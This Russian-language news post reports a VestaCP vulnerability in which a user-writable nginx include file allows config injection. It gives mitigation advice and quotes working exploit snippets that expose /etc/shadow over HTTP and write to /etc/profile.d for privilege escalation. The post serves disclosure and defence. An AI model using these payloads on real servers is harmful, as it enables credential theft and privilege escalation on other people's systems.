Уязвимость в VestaCP
Для VestaCP опубликована информация об уязвимости, обнаруженной ещё в марте. Уязвимость связана с тем, как панель работает с конфигами веб-сервера Nginx.
В конфигурационном файле /home/%user%/conf/web/nginx.conf можно увидеть вот такой location:
location /vstats/ {
alias /home/%user%/web/%domain%/stats/;
include /home/%user%/web/%domain%/stats/auth.conf*;
}
Владельцем директории и файла (если он уже создан), при этом, является пользователь. Такое поведение приводит к тому, что в файл, можно записать любое, нужное злоумышленнику содержимое, которое при перезапуске веб-сервера будет прочитано и учтено.
Для того что бы «прикрыть» уязвимое место уже сейчас, имеет смысл сменить владельца директории /stats/ и конфигов в ней на root:root, проверив при этом, не записано ли уже в конфиги что-то лишнее. Либо и вовсе, пока что, закомментировать инклуд этой директории и её содержимого в конфиге веб-сервера.
Использование уязвимости.
Допустим, что злоумышленник получил возможность загружать на сайт свои файлы, либо выполнять собственный PHP код. Ему остаётся сделать примерно так (из PHP):
chmod u+w /home/%user%/web/%domain%/stats/
echo 'client_body_temp_path /etc/shadow; location /vstats/steal { alias / ; }' > /home/%user%/web/%domain%/stats/auth.conf.evil
И после того как Nginx будет перезапущен, файл /etc/shadow будет доступен по адресу http://%domain%/vstats/steal/etc/shadow
Автор, опубликовавший информацию о проблеме, приводит примеры чтения системных файлов таким способом и записи файла с повышенными привилегиями в системе:
client_body_temp_path /etc/shadow;
location /vstats/steal {
alias / ;
}
client_body_temp_path /etc/profile.d/vim.sh;
location /evil {
error_log /etc/profile.d/vim.sh;
}
Во втором примере, после того как Nginx будет перезапущен, у злоумышленника появляется возможность записать что-либо в файл, путём вызова ошибок, которые будут записываться в лог. Затем этот файл можно будет выполнить.
По словам автора, разработчики узнали о проблеме ещё в марте, и на первое обращение отреагировали очень быстро, но затем, ответы и какую-либо реакцию от них он получать перестал. Высказывается и альтернативное мнение о том, что на самом деле, разработчики об уязвимости узнали совсем недавно. Так оно или нет, по большому счёту уже не так важно, уязвимость уже доступна публично, а значит остаётся надеяться, что разработчики панели оперативно исправят её.